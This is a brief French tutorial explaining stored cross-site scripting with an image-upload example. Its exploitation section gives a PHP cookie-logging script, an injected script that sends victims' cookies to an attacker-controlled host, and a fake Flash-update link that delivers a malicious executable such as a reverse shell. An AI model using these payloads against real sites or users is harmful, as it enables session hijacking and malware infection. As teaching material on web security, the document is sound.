Web:Cross-Site Scripting - XSS
Présentation
Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur.
Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: lapin.jpg et comme description: Oh! Trop mignon!.
La page retournée nous renverrait alors l'image sous la forme:
<img src="./lapin.jpg" title="Oh! Trop mignon!" />
Un cas classique d'exploitation serait de remplacer la description: Oh! Trop mignon! par: " /><script>alert('Hacked!');</script><p class=".
Le site nous retournerait alors:
<img src="./lapin.jpg" title="" /><script>alert('Hacked!');</script>
Ce code HTML étant valide, notre JavaScript sera exécuté au sein du navigateur. En se débrouillant pour faire afficher cette image à un autre utilisateur, le code s'exécutera cette fois ci dans son navigateur. Il est ainsi possible de récupérer certaines informations sensibles ou alors de faire exécuter quelque action depuis le navigateur de notre cible. Ici, comme le code injecté est enregistré par le serveur via notre image, quiconque se rendra sur la page où notre image est enregistré se verra exécuter notre script.
Éxploitation
Exemple de récupération de cookies
- Préparation du fichier getCookie.php. Celui-ci devra être enregistré de façon `pouvoir être consulté depuis le navigateur de notre cible.
<?php $cookie = $_GET['v'] . "\n"; file_put_contents("cookies.txt", $cookie, FILE_APPEND | LOCK_EX); ?>
- La victime doit maintenant accéder à notre page:
" /><script>document.location="http://attaquant.com/getCookie.php?v=" + document.cookie;</script><p class="
La page contenant l'image deviendra alors:
<img src="./lapin.jpg" title="" /><script>document.location="http://control.domain/get.php?v=" + document.cookie;</script>
Une fois arrivé sur la page piégée, l'utilisateur sera redirigé vers notre page avec ses cookies en paramètre. Cookies qui seront enregistrés dans un fichier nommé cookie.txt
Social Engineering
Un exemple d'attaque à adapter selon son imagination:
- Création d'un exécutable type Reverse Shell ou autre.
- Simulation d'un plugin manquant pour lire ou exécuter un contenu sur le navigateur de notre victime. Ex: "Pour continuer, Flash Player doit être mis à jour." + image utilisée lorsqu'un plugin est réellement manquant.
- Téléchargement de notre faux plugin par la victime, puis exécution.
" /> <a href="http://control.domain/flash_update.exe"><img src="http://control.domain/flash.png" /></a> <p alt="